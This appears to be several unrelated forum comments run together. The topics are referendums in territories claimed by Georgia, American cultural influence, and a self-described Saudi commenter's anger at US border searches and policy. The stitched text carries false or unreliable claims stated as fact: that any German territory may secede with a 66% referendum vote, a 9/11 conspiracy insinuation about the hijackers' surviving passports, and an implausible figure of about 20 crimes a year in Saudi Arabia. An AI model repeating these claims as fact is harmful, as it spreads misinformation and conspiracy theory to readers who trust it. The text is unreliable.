The two territories in question had not been traditional Georgian territory. They only became part of Georgian district when the soviet union straitened out some borderlines. That much for territorial integrity.
The had also been two referendum for independence - both passed with 90%+. Now G.W. view on Democracy must be very different form mine. Because I always thought democracy is about what people want and a referendum should therefore break both territorial integrity and governmental will.
And in fact in my home country it does: Any territory in Germany can leave the federation with a 66% majority in a referendum.
... who wants to spend THEIR money on YOUR culture. I use the term "culture" loosely. (If that gets me a troll mod, so be it.)
Uhh. . .last I checked, the American culture pretty much defined much of "western" culture, and is our No. 1 export. Ask any random person in the world about McDonalds, Britney Spears, Hollywood. Then ask them about counterparts from other cultures.
Kinda scary once you think about how much influence the US has through those inadvertent means, here I thought government was responsible for international politics...
If you are about to mod me down, keep in mind that this post was most likely sarcastic.
You guys are upset about your laptops being searched, I have to make sure I am wearing nice underwear whenever I go to the US! I have even had the guy at the border rip out my visa and claim that I don't have one-TWICE in a row. I have taken out all my investments, got my family to do the same, and my company also. we also sold all our blue chips. All of in Saudi are doing the same. I can't wait till we float the Riyal and unhook from the Dollar, then things will start rolling. And if you are saying what is being done to the Saudis is fair, just ask your self this, HOW THE HELL DID THE PASSPORTS OF THE HIJACKERS SURVIVE THE EXPLOSIONS WHEN THE BUILDING DID NOT???? As far as I know, our passports are made of paper not teflon. Even if I were to say that the idiots that blew themselves up were smart enough to hijack the plane- and no matter what, you have to be an idiot to do that, then why treat us all like criminals. I for one, have had an American Visa since the day I was born to this day, always active, why am I getting strip searched. I swear, I am making a t-shirt with the words: Randomly Selected on it. We have an extremly low crime rate in Saudi, about 20 per year, at leat 15 of those are US vs, British gang fights related, do you see us mistreating all of you because of that??? and this has been going on for decades! You guys start wars and make us pay for them, all the while supporting our worst enemy and propping up a theocracy!!! I hope the stone keeps rolling down the hill.....god knows the world needs a break... Thanks